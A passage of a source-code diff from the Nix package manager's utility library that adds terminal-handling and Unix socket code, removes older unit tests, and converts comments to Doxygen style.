stream. + /// @param raw - Whether to enable raw file support. For more info look in docs: + /// https://manpages.debian.org/stretch/libarchive-dev/archive_read_format.3.en.html + /// @param compression_method - Primary compression method to use. std::nullopt means 'all'. + TarArchive(Source & source, bool raw = false, std::optional compression_method = std::nullopt); - // disable copy constructor + /// Disable copy constructor. Explicitly default move assignment/constructor. TarArchive(const TarArchive &) = delete; + TarArchive & operator=(const TarArchive &) = delete; + TarArchive(TarArchive &&) = default; + TarArchive & operator=(TarArchive &&) = default; void close(); ~TarArchive(); }; + +int getArchiveFilterCodeByName(const std::string & method); + void unpackTarfile(Source & source, const Path & destDir); void unpackTarfile(const Path & tarFile, const Path & destDir); +time_t unpackTarfileToSink(TarArchive & archive, ExtendedFileSystemObjectSink & parseSink); + } diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc new file mode 100644 index 000000000..5d5ff7dcb --- /dev/null +++ b/src/libutil/terminal.cc @@ -0,0 +1,129 @@ +#include "terminal.hh" +#include "environment-variables.hh" +#include "sync.hh" + +#if _WIN32 +# include +# define WIN32_LEAN_AND_MEAN +# include +# define isatty _isatty +#else +# include +#endif +#include + +namespace nix { + +bool isTTY() +{ + static const bool tty = + isatty(STDERR_FILENO) + && getEnv("TERM").value_or("dumb") != "dumb" + && !(getEnv("NO_COLOR").has_value() || getEnv("NOCOLOR").has_value()); + + return tty; +} + +std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int width) +{ + std::string t, e; + size_t w = 0; + auto i = s.begin(); + + while (w < (size_t) width && i != s.end()) { + + if (*i == '\e') { + std::string e; + e += *i++; + char last = 0; + + if (i != s.end() && *i == '[') { + e += *i++; + // eat parameter bytes + while (i != s.end() && *i >= 0x30 && *i <= 0x3f) e += *i++; + // eat intermediate bytes + while (i != s.end() && *i >= 0x20 && *i <= 0x2f) e += *i++; + // eat final byte + if (i != s.end() && *i >= 0x40 && *i <= 0x7e) e += last = *i++; + } else { + if (i != s.end() && *i >= 0x40 && *i <= 0x5f) e += *i++; + } + + if (!filterAll && last == 'm') + t += e; + } + + else if (*i == '\t') { + i++; t += ' '; w++; + while (w < (size_t) width && w % 8) { + t += ' '; w++; + } + } + + else if (*i == '\r' || *i == '\a') + // do nothing for now + i++; + + else { + w++; + // Copy one UTF-8 character. + if ((*i & 0xe0) == 0xc0) { + t += *i++; + if (i != s.end() && ((*i & 0xc0) == 0x80)) t += *i++; + } else if ((*i & 0xf0) == 0xe0) { + t += *i++; + if (i != s.end() && ((*i & 0xc0) == 0x80)) { + t += *i++; + if (i != s.end() && ((*i & 0xc0) == 0x80)) t += *i++; + } + } else if ((*i & 0xf8) == 0xf0) { + t += *i++; + if (i != s.end() && ((*i & 0xc0) == 0x80)) { + t += *i++; + if (i != s.end() && ((*i & 0xc0) == 0x80)) { + t += *i++; + if (i != s.end() && ((*i & 0xc0) == 0x80)) t += *i++; + } + } + } else + t += *i++; + } + } + + return t; +} + + +////////////////////////////////////////////////////////////////////// + +static Sync> windowSize{{0, 0}}; + + +void updateWindowSize() +{ + #ifndef _WIN32 + struct winsize ws; + if (ioctl(2, TIOCGWINSZ, &ws) == 0) { + auto windowSize_(windowSize.lock()); + windowSize_->first = ws.ws_row; + windowSize_->second = ws.ws_col; + } + #else + CONSOLE_SCREEN_BUFFER_INFO info; + // From https://stackoverflow.com/a/12642749 + if (GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &info) != 0) { + auto windowSize_(windowSize.lock()); + // From https://github.com/libuv/libuv/blob/v1.48.0/src/win/tty.c#L1130 + windowSize_->first = info.srWindow.Bottom - info.srWindow.Top + 1; + windowSize_->second = info.dwSize.X; + } + #endif +} + + +std::pair getWindowSize() +{ + return *windowSize.lock(); +} + +} diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh new file mode 100644 index 000000000..7ff05a487 --- /dev/null +++ b/src/libutil/terminal.hh @@ -0,0 +1,40 @@ +#pragma once +///@file + +#include +#include + +namespace nix { +/** + * Determine whether ANSI escape sequences are appropriate for the + * present output. + */ +bool isTTY(); + +/** + * Truncate a string to 'width' printable characters. If 'filterAll' + * is true, all ANSI escape sequences are filtered out. Otherwise, + * some escape sequences (such as colour setting) are copied but not + * included in the character count. Also, tabs are expanded to + * spaces. + */ +std::string filterANSIEscapes(std::string_view s, + bool filterAll = false, + unsigned int width = std::numeric_limits::max()); + +/** + * Recalculate the window size, updating a global variable. + * + * Used in the `SIGWINCH` signal handler on Unix, for example. + */ +void updateWindowSize(); + +/** + * @return the number of rows and columns of the terminal. + * + * The value is cached so this is quick. The cached result is computed + * by `updateWindowSize()`. + */ +std::pair getWindowSize(); + +} diff --git a/src/libutil/tests/git.cc b/src/libutil/tests/git.cc deleted file mode 100644 index 5b5715fc2..000000000 --- a/src/libutil/tests/git.cc +++ /dev/null @@ -1,33 +0,0 @@ -#include "git.hh" -#include - -namespace nix { - - TEST(GitLsRemote, parseSymrefLineWithReference) { - auto line = "ref: refs/head/main HEAD"; - auto res = git::parseLsRemoteLine(line); - ASSERT_TRUE(res.has_value()); - ASSERT_EQ(res->kind, git::LsRemoteRefLine::Kind::Symbolic); - ASSERT_EQ(res->target, "refs/head/main"); - ASSERT_EQ(res->reference, "HEAD"); - } - - TEST(GitLsRemote, parseSymrefLineWithNoReference) { - auto line = "ref: refs/head/main"; - auto res = git::parseLsRemoteLine(line); - ASSERT_TRUE(res.has_value()); - ASSERT_EQ(res->kind, git::LsRemoteRefLine::Kind::Symbolic); - ASSERT_EQ(res->target, "refs/head/main"); - ASSERT_EQ(res->reference, std::nullopt); - } - - TEST(GitLsRemote, parseObjectRefLine) { - auto line = "abc123 refs/head/main"; - auto res = git::parseLsRemoteLine(line); - ASSERT_TRUE(res.has_value()); - ASSERT_EQ(res->kind, git::LsRemoteRefLine::Kind::Object); - ASSERT_EQ(res->target, "abc123"); - ASSERT_EQ(res->reference, "refs/head/main"); - } -} - diff --git a/src/libutil/tests/local.mk b/src/libutil/tests/local.mk deleted file mode 100644 index 815e18560..000000000 --- a/src/libutil/tests/local.mk +++ /dev/null @@ -1,15 +0,0 @@ -check: libutil-tests_RUN - -programs += libutil-tests - -libutil-tests_DIR := $(d) - -libutil-tests_INSTALL_DIR := - -libutil-tests_SOURCES := $(wildcard $(d)/*.cc) - -libutil-tests_CXXFLAGS += -I src/libutil -I src/libexpr - -libutil-tests_LIBS = libutil - -libutil-tests_LDFLAGS := $(GTEST_LIBS) diff --git a/src/libutil/tests/tests.cc b/src/libutil/tests/tests.cc deleted file mode 100644 index 6e325db98..000000000 --- a/src/libutil/tests/tests.cc +++ /dev/null @@ -1,623 +0,0 @@ -#include "util.hh" -#include "types.hh" - -#include -#include - -#include - -namespace nix { - -/* ----------- tests for util.hh ------------------------------------------------*/ - - /* ---------------------------------------------------------------------------- - * absPath - * --------------------------------------------------------------------------*/ - - TEST(absPath, doesntChangeRoot) { - auto p = absPath("/"); - - ASSERT_EQ(p, "/"); - } - - - - - TEST(absPath, turnsEmptyPathIntoCWD) { - char cwd[PATH_MAX+1]; - auto p = absPath(""); - - ASSERT_EQ(p, getcwd((char*)&cwd, PATH_MAX)); - } - - TEST(absPath, usesOptionalBasePathWhenGiven) { - char _cwd[PATH_MAX+1]; - char* cwd = getcwd((char*)&_cwd, PATH_MAX); - - auto p = absPath("", cwd); - - ASSERT_EQ(p, cwd); - } - - TEST(absPath, isIdempotent) { - char _cwd[PATH_MAX+1]; - char* cwd = getcwd((char*)&_cwd, PATH_MAX); - auto p1 = absPath(cwd); - auto p2 = absPath(p1); - - ASSERT_EQ(p1, p2); - } - - - TEST(absPath, pathIsCanonicalised) { - auto path = "/some/path/with/trailing/dot/."; - auto p1 = absPath(path); - auto p2 = absPath(p1); - - ASSERT_EQ(p1, "/some/path/with/trailing/dot"); - ASSERT_EQ(p1, p2); - } - - /* ---------------------------------------------------------------------------- - * canonPath - * --------------------------------------------------------------------------*/ - - TEST(canonPath, removesTrailingSlashes) { - auto path = "/this/is/a/path//"; - auto p = canonPath(path); - - ASSERT_EQ(p, "/this/is/a/path"); - } - - TEST(canonPath, removesDots) { - auto path = "/this/./is/a/path/./"; - auto p = canonPath(path); - - ASSERT_EQ(p, "/this/is/a/path"); - } - - TEST(canonPath, removesDots2) { - auto path = "/this/a/../is/a////path/foo/.."; - auto p = canonPath(path); - - ASSERT_EQ(p, "/this/is/a/path"); - } - - TEST(canonPath, requiresAbsolutePath) { - ASSERT_ANY_THROW(canonPath(".")); - ASSERT_ANY_THROW(canonPath("..")); - ASSERT_ANY_THROW(canonPath("../")); - ASSERT_DEATH({ canonPath(""); }, "path != \"\""); - } - - /* ---------------------------------------------------------------------------- - * dirOf - * --------------------------------------------------------------------------*/ - - TEST(dirOf, returnsEmptyStringForRoot) { - auto p = dirOf("/"); - - ASSERT_EQ(p, "/"); - } - - TEST(dirOf, returnsFirstPathComponent) { - auto p1 = dirOf("/dir/"); - ASSERT_EQ(p1, "/dir"); - auto p2 = dirOf("/dir"); - ASSERT_EQ(p2, "/"); - auto p3 = dirOf("/dir/.."); - ASSERT_EQ(p3, "/dir"); - auto p4 = dirOf("/dir/../"); - ASSERT_EQ(p4, "/dir/.."); - } - - /* ---------------------------------------------------------------------------- - * baseNameOf - * --------------------------------------------------------------------------*/ - - TEST(baseNameOf, emptyPath) { - auto p1 = baseNameOf(""); - ASSERT_EQ(p1, ""); - } - - TEST(baseNameOf, pathOnRoot) { - auto p1 = baseNameOf("/dir"); - ASSERT_EQ(p1, "dir"); - } - - TEST(baseNameOf, relativePath) { - auto p1 = baseNameOf("dir/foo"); - ASSERT_EQ(p1, "foo"); - } - - TEST(baseNameOf, pathWithTrailingSlashRoot) { - auto p1 = baseNameOf("/"); - ASSERT_EQ(p1, ""); - } - - TEST(baseNameOf, trailingSlash) { - auto p1 = baseNameOf("/dir/"); - ASSERT_EQ(p1, "dir"); - } - - /* ---------------------------------------------------------------------------- - * isInDir - * --------------------------------------------------------------------------*/ - - TEST(isInDir, trivialCase) { - auto p1 = isInDir("/foo/bar", "/foo"); - ASSERT_EQ(p1, true); - } - - TEST(isInDir, notInDir) { - auto p1 = isInDir("/zes/foo/bar", "/foo"); - ASSERT_EQ(p1, false); - } - - // XXX: hm, bug or feature? :) Looking at the implementation - // this might be problematic. - TEST(isInDir, emptyDir) { - auto p1 = isInDir("/zes/foo/bar", ""); - ASSERT_EQ(p1, true); - } - - /* ---------------------------------------------------------------------------- - * isDirOrInDir - * --------------------------------------------------------------------------*/ - - TEST(isDirOrInDir, trueForSameDirectory) { - ASSERT_EQ(isDirOrInDir("/nix", "/nix"), true); - ASSERT_EQ(isDirOrInDir("/", "/"), true); - } - - TEST(isDirOrInDir, trueForEmptyPaths) { - ASSERT_EQ(isDirOrInDir("", ""), true); - } - - TEST(isDirOrInDir, falseForDisjunctPaths) { - ASSERT_EQ(isDirOrInDir("/foo", "/bar"), false); - } - - TEST(isDirOrInDir, relativePaths) { - ASSERT_EQ(isDirOrInDir("/foo/..", "/foo"), true); - } - - // XXX: while it is possible to use "." or ".." in the - // first argument this doesn't seem to work in the second. - TEST(isDirOrInDir, DISABLED_shouldWork) { - ASSERT_EQ(isDirOrInDir("/foo/..", "/foo/."), true); - - } - - /* ---------------------------------------------------------------------------- - * pathExists - * --------------------------------------------------------------------------*/ - - TEST(pathExists, rootExists) { - ASSERT_TRUE(pathExists("/")); - } - - TEST(pathExists, cwdExists) { - ASSERT_TRUE(pathExists(".")); - } - - TEST(pathExists, bogusPathDoesNotExist) { - ASSERT_FALSE(pathExists("/home/schnitzel/darmstadt/pommes")); - } - - /* ---------------------------------------------------------------------------- - * concatStringsSep - * --------------------------------------------------------------------------*/ - - TEST(concatStringsSep, buildCommaSeparatedString) { - Strings strings; - strings.push_back("this"); - strings.push_back("is"); - strings.push_back("great"); - - ASSERT_EQ(concatStringsSep(",", strings), "this,is,great"); - } - - TEST(concatStringsSep, buildStringWithEmptySeparator) { - Strings strings; - strings.push_back("this"); - strings.push_back("is"); - strings.push_back("great"); - - ASSERT_EQ(concatStringsSep("", strings), "thisisgreat"); - } - - TEST(concatStringsSep, buildSingleString) { - Strings strings; - strings.push_back("this"); - - ASSERT_EQ(concatStringsSep(",", strings), "this"); - } - - /* ---------------------------------------------------------------------------- - * hasPrefix - * --------------------------------------------------------------------------*/ - - TEST(hasPrefix, emptyStringHasNoPrefix) { - ASSERT_FALSE(hasPrefix("", "foo")); - } - - TEST(hasPrefix, emptyStringIsAlwaysPrefix) { - ASSERT_TRUE(hasPrefix("foo", "")); - ASSERT_TRUE(hasPrefix("jshjkfhsadf", "")); - } - - TEST(hasPrefix, trivialCase) { - ASSERT_TRUE(hasPrefix("foobar", "foo")); - } - - /* ---------------------------------------------------------------------------- - * hasSuffix - * --------------------------------------------------------------------------*/ - - TEST(hasSuffix, emptyStringHasNoSuffix) { - ASSERT_FALSE(hasSuffix("", "foo")); - } - - TEST(hasSuffix, trivialCase) { - ASSERT_TRUE(hasSuffix("foo", "foo")); - ASSERT_TRUE(hasSuffix("foobar", "bar")); - } - - /* ---------------------------------------------------------------------------- - * base64Encode - * --------------------------------------------------------------------------*/ - - TEST(base64Encode, emptyString) { - ASSERT_EQ(base64Encode(""), ""); - } - - TEST(base64Encode, encodesAString) { - ASSERT_EQ(base64Encode("quod erat demonstrandum"), "cXVvZCBlcmF0IGRlbW9uc3RyYW5kdW0="); - } - - TEST(base64Encode, encodeAndDecode) { - auto s = "quod erat demonstrandum"; - auto encoded = base64Encode(s); - auto decoded = base64Decode(encoded); - - ASSERT_EQ(decoded, s); - } - - TEST(base64Encode, encodeAndDecodeNonPrintable) { - char s[256]; - std::iota(std::rbegin(s), std::rend(s), 0); - - auto encoded = base64Encode(s); - auto decoded = base64Decode(encoded); - - EXPECT_EQ(decoded.length(), 255); - ASSERT_EQ(decoded, s); - } - - /* ---------------------------------------------------------------------------- - * base64Decode - * --------------------------------------------------------------------------*/ - - TEST(base64Decode, emptyString) { - ASSERT_EQ(base64Decode(""), ""); - } - - TEST(base64Decode, decodeAString) { - ASSERT_EQ(base64Decode("cXVvZCBlcmF0IGRlbW9uc3RyYW5kdW0="), "quod erat demonstrandum"); - } - - TEST(base64Decode, decodeThrowsOnInvalidChar) { - ASSERT_THROW(base64Decode("cXVvZCBlcm_0IGRlbW9uc3RyYW5kdW0="), Error); - } - - /* ---------------------------------------------------------------------------- - * toLower - * --------------------------------------------------------------------------*/ - - TEST(toLower, emptyString) { - ASSERT_EQ(toLower(""), ""); - } - - TEST(toLower, nonLetters) { - auto s = "!@(*$#)(@#=\\234_"; - ASSERT_EQ(toLower(s), s); - } - - // std::tolower() doesn't handle unicode characters. In the context of - // store paths this isn't relevant but doesn't hurt to record this behavior - // here. - TEST(toLower, umlauts) { - auto s = "ÄÖÜ"; - ASSERT_EQ(toLower(s), "ÄÖÜ"); - } - - /* ---------------------------------------------------------------------------- - * string2Float - * --------------------------------------------------------------------------*/ - - TEST(string2Float, emptyString) { - ASSERT_EQ(string2Float(""), std::nullopt); - } - - TEST(string2Float, trivialConversions) { - ASSERT_EQ(string2Float("1.0"), 1.0); - - ASSERT_EQ(string2Float("0.0"), 0.0); - - ASSERT_EQ(string2Float("-100.25"), -100.25); - } - - /* ---------------------------------------------------------------------------- - * string2Int - * --------------------------------------------------------------------------*/ - - TEST(string2Int, emptyString) { - ASSERT_EQ(string2Int(""), std::nullopt); - } - - TEST(string2Int, trivialConversions) { - ASSERT_EQ(string2Int("1"), 1); - - ASSERT_EQ(string2Int("0"), 0); - - ASSERT_EQ(string2Int("-100"), -100); - } - - /* ---------------------------------------------------------------------------- - * statusOk - * --------------------------------------------------------------------------*/ - - TEST(statusOk, zeroIsOk) { - ASSERT_EQ(statusOk(0), true); - ASSERT_EQ(statusOk(1), false); - } - - - /* ---------------------------------------------------------------------------- - * rewriteStrings - * --------------------------------------------------------------------------*/ - - TEST(rewriteStrings, emptyString) { - StringMap rewrites; - rewrites["this"] = "that"; - - ASSERT_EQ(rewriteStrings("", rewrites), ""); - } - - TEST(rewriteStrings, emptyRewrites) { - StringMap rewrites; - - ASSERT_EQ(rewriteStrings("this and that", rewrites), "this and that"); - } - - TEST(rewriteStrings, successfulRewrite) { - StringMap rewrites; - rewrites["this"] = "that"; - - ASSERT_EQ(rewriteStrings("this and that", rewrites), "that and that"); - } - - TEST(rewriteStrings, doesntOccur) { - StringMap rewrites; - rewrites["foo"] = "bar"; - - ASSERT_EQ(rewriteStrings("this and that", rewrites), "this and that"); - } - - /* ---------------------------------------------------------------------------- - * replaceStrings - * --------------------------------------------------------------------------*/ - - TEST(replaceStrings, emptyString) { - ASSERT_EQ(replaceStrings("", "this", "that"), ""); - ASSERT_EQ(replaceStrings("this and that", "", ""), "this and that"); - } - - TEST(replaceStrings, successfulReplace) { - ASSERT_EQ(replaceStrings("this and that", "this", "that"), "that and that"); - } - - TEST(replaceStrings, doesntOccur) { - ASSERT_EQ(replaceStrings("this and that", "foo", "bar"), "this and that"); - } - - /* ---------------------------------------------------------------------------- - * trim - * --------------------------------------------------------------------------*/ - - TEST(trim, emptyString) { - ASSERT_EQ(trim(""), ""); - } - - TEST(trim, removesWhitespace) { - ASSERT_EQ(trim("foo"), "foo"); - ASSERT_EQ(trim(" foo "), "foo"); - ASSERT_EQ(trim(" foo bar baz"), "foo bar baz"); - ASSERT_EQ(trim(" \t foo bar baz\n"), "foo bar baz"); - } - - /* ---------------------------------------------------------------------------- - * chomp - * --------------------------------------------------------------------------*/ - - TEST(chomp, emptyString) { - ASSERT_EQ(chomp(""), ""); - } - - TEST(chomp, removesWhitespace) { - ASSERT_EQ(chomp("foo"), "foo"); - ASSERT_EQ(chomp("foo "), "foo"); - ASSERT_EQ(chomp(" foo "), " foo"); - ASSERT_EQ(chomp(" foo bar baz "), " foo bar baz"); - ASSERT_EQ(chomp("\t foo bar baz\n"), "\t foo bar baz"); - } - - /* ---------------------------------------------------------------------------- - * quoteStrings - * --------------------------------------------------------------------------*/ - - TEST(quoteStrings, empty) { - Strings s = { }; - Strings expected = { }; - - ASSERT_EQ(quoteStrings(s), expected); - } - - TEST(quoteStrings, emptyStrings) { - Strings s = { "", "", "" }; - Strings expected = { "''", "''", "''" }; - ASSERT_EQ(quoteStrings(s), expected); - - } - - TEST(quoteStrings, trivialQuote) { - Strings s = { "foo", "bar", "baz" }; - Strings expected = { "'foo'", "'bar'", "'baz'" }; - - ASSERT_EQ(quoteStrings(s), expected); - } - - TEST(quoteStrings, quotedStrings) { - Strings s = { "'foo'", "'bar'", "'baz'" }; - Strings expected = { "''foo''", "''bar''", "''baz''" }; - - ASSERT_EQ(quoteStrings(s), expected); - } - - /* ---------------------------------------------------------------------------- - * tokenizeString - * --------------------------------------------------------------------------*/ - - TEST(tokenizeString, empty) { - Strings expected = { }; - - ASSERT_EQ(tokenizeString(""), expected); - } - - TEST(tokenizeString, tokenizeSpacesWithDefaults) { - auto s = "foo bar baz"; - Strings expected = { "foo", "bar", "baz" }; - - ASSERT_EQ(tokenizeString(s), expected); - } - - TEST(tokenizeString, tokenizeTabsWithDefaults) { - auto s = "foo\tbar\tbaz"; - Strings expected = { "foo", "bar", "baz" }; - - ASSERT_EQ(tokenizeString(s), expected); - } - - TEST(tokenizeString, tokenizeTabsSpacesWithDefaults) { - auto s = "foo\t bar\t baz"; - Strings expected = { "foo", "bar", "baz" }; - - ASSERT_EQ(tokenizeString(s), expected); - } - - TEST(tokenizeString, tokenizeTabsSpacesNewlineWithDefaults) { - auto s = "foo\t\n bar\t\n baz"; - Strings expected = { "foo", "bar", "baz" }; - - ASSERT_EQ(tokenizeString(s), expected); - } - - TEST(tokenizeString, tokenizeTabsSpacesNewlineRetWithDefaults) { - auto s = "foo\t\n\r bar\t\n\r baz"; - Strings expected = { "foo", "bar", "baz" }; - - ASSERT_EQ(tokenizeString(s), expected); - - auto s2 = "foo \t\n\r bar \t\n\r baz"; - Strings expected2 = { "foo", "bar", "baz" }; - - ASSERT_EQ(tokenizeString(s2), expected2); - } - - TEST(tokenizeString, tokenizeWithCustomSep) { - auto s = "foo\n,bar\n,baz\n"; - Strings expected = { "foo\n", "bar\n", "baz\n" }; - - ASSERT_EQ(tokenizeString(s, ","), expected); - } - - /* ---------------------------------------------------------------------------- - * get - * --------------------------------------------------------------------------*/ - - TEST(get, emptyContainer) { - StringMap s = { }; - auto expected = nullptr; - - ASSERT_EQ(get(s, "one"), expected); - } - - TEST(get, getFromContainer) { - StringMap s; - s["one"] = "yi"; - s["two"] = "er"; - auto expected = "yi"; - - ASSERT_EQ(*get(s, "one"), expected); - } - - TEST(getOr, emptyContainer) { - StringMap s = { }; - auto expected = "yi"; - - ASSERT_EQ(getOr(s, "one", "yi"), expected); - } - - TEST(getOr, getFromContainer) { - StringMap s; - s["one"] = "yi"; - s["two"] = "er"; - auto expected = "yi"; - - ASSERT_EQ(getOr(s, "one", "nope"), expected); - } - - /* ---------------------------------------------------------------------------- - * filterANSIEscapes - * --------------------------------------------------------------------------*/ - - TEST(filterANSIEscapes, emptyString) { - auto s = ""; - auto expected = ""; - - ASSERT_EQ(filterANSIEscapes(s), expected); - } - - TEST(filterANSIEscapes, doesntChangePrintableChars) { - auto s = "09 2q304ruyhr slk2-19024 kjsadh sar f"; - - ASSERT_EQ(filterANSIEscapes(s), s); - } - - TEST(filterANSIEscapes, filtersColorCodes) { - auto s = "\u001b[30m A \u001b[31m B \u001b[32m C \u001b[33m D \u001b[0m"; - - ASSERT_EQ(filterANSIEscapes(s, true, 2), " A" ); - ASSERT_EQ(filterANSIEscapes(s, true, 3), " A " ); - ASSERT_EQ(filterANSIEscapes(s, true, 4), " A " ); - ASSERT_EQ(filterANSIEscapes(s, true, 5), " A B" ); - ASSERT_EQ(filterANSIEscapes(s, true, 8), " A B C" ); - } - - TEST(filterANSIEscapes, expandsTabs) { - auto s = "foo\tbar\tbaz"; - - ASSERT_EQ(filterANSIEscapes(s, true), "foo bar baz" ); - } - - TEST(filterANSIEscapes, utf8) { - ASSERT_EQ(filterANSIEscapes("foobar", true, 5), "fooba"); - ASSERT_EQ(filterANSIEscapes("fóóbär", true, 6), "fóóbär"); - ASSERT_EQ(filterANSIEscapes("fóóbär", true, 5), "fóóbä"); - ASSERT_EQ(filterANSIEscapes("fóóbär", true, 3), "fóó"); - ASSERT_EQ(filterANSIEscapes("f€€bär", true, 4), "f€€b"); - ASSERT_EQ(filterANSIEscapes("f𐍈𐍈bär", true, 4), "f𐍈𐍈b"); - } - -} diff --git a/src/libutil/thread-pool.cc b/src/libutil/thread-pool.cc index dc4067f1b..0f6349642 100644 --- a/src/libutil/thread-pool.cc +++ b/src/libutil/thread-pool.cc @@ -1,4 +1,6 @@ #include "thread-pool.hh" +#include "signals.hh" +#include "util.hh" namespace nix { @@ -77,8 +79,12 @@ void ThreadPool::process() void ThreadPool::doWork(bool mainThread) { + ReceiveInterrupts receiveInterrupts; + +#ifndef _WIN32 // Does Windows need anything similar for async exit handling? if (!mainThread) - interruptCheck = [&]() { return (bool) quit; }; + unix::interruptCheck = [&]() { return (bool) quit; }; +#endif bool didWork = false; std::exception_ptr exc; diff --git a/src/libutil/thread-pool.hh b/src/libutil/thread-pool.hh index b22e0d162..02765badc 100644 --- a/src/libutil/thread-pool.hh +++ b/src/libutil/thread-pool.hh @@ -1,7 +1,8 @@ #pragma once +///@file +#include "error.hh" #include "sync.hh" -#include "util.hh" #include #include @@ -13,8 +14,10 @@ namespace nix { MakeError(ThreadPoolShutDown, Error); -/* A simple thread pool that executes a queue of work items - (lambdas). */ +/** + * A simple thread pool that executes a queue of work items + * (lambdas). + */ class ThreadPool { public: @@ -23,19 +26,30 @@ public: ~ThreadPool(); - // FIXME: use std::packaged_task? + /** + * An individual work item. + * + * \todo use std::packaged_task? + */ typedef std::function work_t; - /* Enqueue a function to be executed by the thread pool. */ + /** + * Enqueue a function to be executed by the thread pool. + */ void enqueue(const work_t & t); - /* Execute work items until the queue is empty. Note that work - items are allowed to add new items to the queue; this is - handled correctly. Queue processing stops prematurely if any - work item throws an exception. This exception is propagated to - the calling thread. If multiple work items throw an exception - concurrently, only one item is propagated; the others are - printed on stderr and otherwise ignored. */ + /** + * Execute work items until the queue is empty. + * + * \note Note that work items are allowed to add new items to the + * queue; this is handled correctly. + * + * Queue processing stops prematurely if any work item throws an + * exception. This exception is propagated to the calling thread. If + * multiple work items throw an exception concurrently, only one + * item is propagated; the others are printed on stderr and + * otherwise ignored. + */ void process(); private: @@ -62,9 +76,11 @@ private: void shutdown(); }; -/* Process in parallel a set of items of type T that have a partial - ordering between them. Thus, any item is only processed after all - its dependencies have been processed. */ +/** + * Process in parallel a set of items of type T that have a partial + * ordering between them. Thus, any item is only processed after all + * its dependencies have been processed. + */ template void processGraph( ThreadPool & pool, diff --git a/src/libutil/topo-sort.hh b/src/libutil/topo-sort.hh index 7418be5e0..a52811fbf 100644 --- a/src/libutil/topo-sort.hh +++ b/src/libutil/topo-sort.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "error.hh" diff --git a/src/libutil/types.hh b/src/libutil/types.hh index 6bcbd7e1d..325e3ea73 100644 --- a/src/libutil/types.hh +++ b/src/libutil/types.hh @@ -1,11 +1,10 @@ #pragma once +///@file -#include "ref.hh" #include #include #include -#include #include #include #include @@ -17,7 +16,9 @@ typedef std::set StringSet; typedef std::map StringMap; typedef std::map StringPairs; -/* Paths are just strings. */ +/** + * Paths are just strings. + */ typedef std::string Path; typedef std::string_view PathView; typedef std::list Paths; @@ -25,15 +26,19 @@ typedef std::set PathSet; typedef std::vector> Headers; -/* Helper class to run code at startup. */ +/** + * Helper class to run code at startup. + */ template struct OnStartup { OnStartup(T && t) { t(); } }; -/* Wrap bools to prevent string literals (i.e. 'char *') from being - cast to a bool in Attr. */ +/** + * Wrap bools to prevent string literals (i.e. 'char *') from being + * cast to a bool in Attr. + */ template struct Explicit { T t; @@ -45,21 +50,25 @@ struct Explicit { }; -/* This wants to be a little bit like rust's Cow type. - Some parts of the evaluator benefit greatly from being able to reuse - existing allocations for strings, but have to be able to also use - newly allocated storage for values. - - We do not define implicit conversions, even with ref qualifiers, - since those can easily become ambiguous to the reader and can degrade - into copying behaviour we want to avoid. */ +/** + * This wants to be a little bit like rust's Cow type. + * Some parts of the evaluator benefit greatly from being able to reuse + * existing allocations for strings, but have to be able to also use + * newly allocated storage for values. + * + * We do not define implicit conversions, even with ref qualifiers, + * since those can easily become ambiguous to the reader and can degrade + * into copying behaviour we want to avoid. + */ class BackedStringView { private: std::variant data; - /* Needed to introduce a temporary since operator-> must return - a pointer. Without this we'd need to store the view object - even when we already own a string. */ + /** + * Needed to introduce a temporary since operator-> must return + * a pointer. Without this we'd need to store the view object + * even when we already own a string. + */ class Ptr { private: std::string_view view; @@ -77,8 +86,10 @@ public: BackedStringView(const BackedStringView &) = delete; BackedStringView & operator=(const BackedStringView &) = delete; - /* We only want move operations defined since the sole purpose of - this type is to avoid copies. */ + /** + * We only want move operations defined since the sole purpose of + * this type is to avoid copies. + */ BackedStringView(BackedStringView && other) = default; BackedStringView & operator=(BackedStringView && other) = default; diff --git a/src/libutil/unix-domain-socket.cc b/src/libutil/unix-domain-socket.cc new file mode 100644 index 000000000..1707fdb75 --- /dev/null +++ b/src/libutil/unix-domain-socket.cc @@ -0,0 +1,117 @@ +#include "file-system.hh" +#include "unix-domain-socket.hh" +#include "util.hh" + +#ifdef _WIN32 +# include +# include +#else +# include +# include +# include "processes.hh" +#endif +#include + +namespace nix { + +AutoCloseFD createUnixDomainSocket() +{ + AutoCloseFD fdSocket = toDescriptor(socket(PF_UNIX, SOCK_STREAM + #ifdef SOCK_CLOEXEC + | SOCK_CLOEXEC + #endif + , 0)); + if (!fdSocket) + throw SysError("cannot create Unix domain socket"); +#ifndef _WIN32 + unix::closeOnExec(fdSocket.get()); +#endif + return fdSocket; +} + + +AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode) +{ + auto fdSocket = nix::createUnixDomainSocket(); + + bind(fdSocket.get(), path); + + if (chmod(path.c_str(), mode) == -1) + throw SysError("changing permissions on '%1%'", path); + + if (listen(toSocket(fdSocket.get()), 100) == -1) + throw SysError("cannot listen on socket '%1%'", path); + + return fdSocket; +} + +static void bindConnectProcHelper( + std::string_view operationName, auto && operation, + Socket fd, const std::string & path) +{ + struct sockaddr_un addr; + addr.sun_family = AF_UNIX; + + // Casting between types like these legacy C library interfaces + // require is forbidden in C++. To maintain backwards + // compatibility, the implementation of the bind/connect functions + // contains some hints to the compiler that allow for this + // special case. + auto * psaddr = reinterpret_cast(&addr); + + if (path.size() + 1 >= sizeof(addr.sun_path)) { +#ifdef _WIN32 + throw Error("cannot %s to socket at '%s': path is too long", operationName, path); +#else + Pipe pipe; + pipe.create(); + Pid pid = startProcess([&] { + try { + pipe.readSide.close(); + Path dir = dirOf(path); + if (chdir(dir.c_str()) == -1) + throw SysError("chdir to '%s' failed", dir); + std::string base(baseNameOf(path)); + if (base.size() + 1 >= sizeof(addr.sun_path)) + throw Error("socket path '%s' is too long", base); + memcpy(addr.sun_path, base.c_str(), base.size() + 1); + if (operation(fd, psaddr, sizeof(addr)) == -1) + throw SysError("cannot %s to socket at '%s'", operationName, path); + writeFull(pipe.writeSide.get(), "0\n"); + } catch (SysError & e) { + writeFull(pipe.writeSide.get(), fmt("%d\n", e.errNo)); + } catch (...) { + writeFull(pipe.writeSide.get(), "-1\n"); + } + }); + pipe.writeSide.close(); + auto errNo = string2Int(chomp(drainFD(pipe.readSide.get()))); + if (!errNo || *errNo == -1) + throw Error("cannot %s to socket at '%s'", operationName, path); + else if (*errNo > 0) { + errno = *errNo; + throw SysError("cannot %s to socket at '%s'", operationName, path); + } +#endif 